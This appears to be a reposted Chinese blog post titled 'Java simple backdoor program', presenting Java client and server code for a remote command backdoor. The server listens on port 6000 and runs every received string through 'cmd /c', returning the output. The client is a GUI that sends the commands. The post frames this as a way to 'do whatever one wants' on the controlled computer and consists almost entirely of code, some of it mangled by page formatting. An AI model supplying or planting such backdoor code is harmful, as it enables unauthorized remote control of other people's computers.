JAVA简单后门程序

JAVA简单后门程序

主要是用网络编程技巧,调用被控计算机的本地命令,这样就可以为所欲为了。。。

 

客户端:

 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import  java.awt.*;
import  java.awt.event.*;
 
import  java.io.*;
 
import  java.net.*;
 
 
public  class  Client  extends  Frame  implements  ActionListener {
     Label label =  new  Label( "指令" );
     Panel panel =  new  Panel();
     TextField tf =  new  TextField( 20 );
     TextArea ta =  new  TextArea();
     Socket client;
     InputStream in;
     OutputStream out;
 
     public  Client() {
         super ( "客户机" );
         setSize( 250 250 );
         panel.add(label);
         panel.add(tf);
         tf.addActionListener( this );
         add( "South" , panel);
         add( "Center" , ta);
         addWindowListener( new  WindowAdapter() {  //退出
                 public  void  windowClosing(WindowEvent e) {
                     System.exit( 0 );
                 }
             });
         show();
 
         try  {
             client =  new  Socket(InetAddress.getLocalHost(),  6000 );  //向6000端口发出客户请求
             ta.append( "服务器是:"  + client.getInetAddress().getHostAddress() +
                 "\n\n" );
             in = client.getInputStream();
             out = client.getOutputStream();
         catch  (IOException ioe) {
         }
 
         while  ( true ) {
             try  {
                 byte [] buf =  new  byte [ 256 ];
                 in.read(buf);
 
                 String str =  new  String(buf);
                 ta.append(str +  "\n" );
             }
             catch  (IOException e) {
             }
         }
     }
 
     public  void  actionPerformed(ActionEvent e) {
         try  {
             String str = tf.getText();
             byte [] buf = str.getBytes();
             tf.setText( null );
             out.write(buf);
             ta.append( "\n指令:"  + str +  "\n" );
         catch  (IOException ioe) {
         }
     }
 
     public  static  void  main(String[] args) {
         new  Client();
     }
}

 

服务端:



?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import  java.io.*; 
import  java.net.*; 
import  java.awt.*; 
import  java.awt.event.*;
 
public  class  Server  extends  Frame 
{
 
ServerSocket server; 
Socket client; 
InputStream in; 
OutputStream out; 
public  Server() 
super ( "服务器" ); 
setSize( 250 , 250 );   
addWindowListener( new  WindowAdapter(){ 
    public  void  windowClosing(WindowEvent e) 
   
     System.exit( 0 ); 
   
}); 
show(); 
try
    server= new  ServerSocket( 6000 ); 
    client=server.accept(); 
    in=client.getInputStream(); 
    out=client.getOutputStream(); 
} catch (IOException ioe){} 
while ( true ){ 
    try
String Result= null ;
     byte []buf= new  byte [ 256 ]; 
     in.read(buf); 
     String str= new  String(buf);
 
     Process p = Runtime.getRuntime().exec( "cmd /c " +str);
     BufferedReader br= new  BufferedReader( new  InputStreamReader(p.getInputStream()));
     while ((Result=br.readLine())!= null )
     {
     out.write(Result.getBytes());
        
     }
    } catch  (IOException e){} 
}
 
public  static  void  main(String[]args) 
new  Server(); 
}

转载于:https://www.cnblogs.com/energy1010/archive/2013/04/11/3014801.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值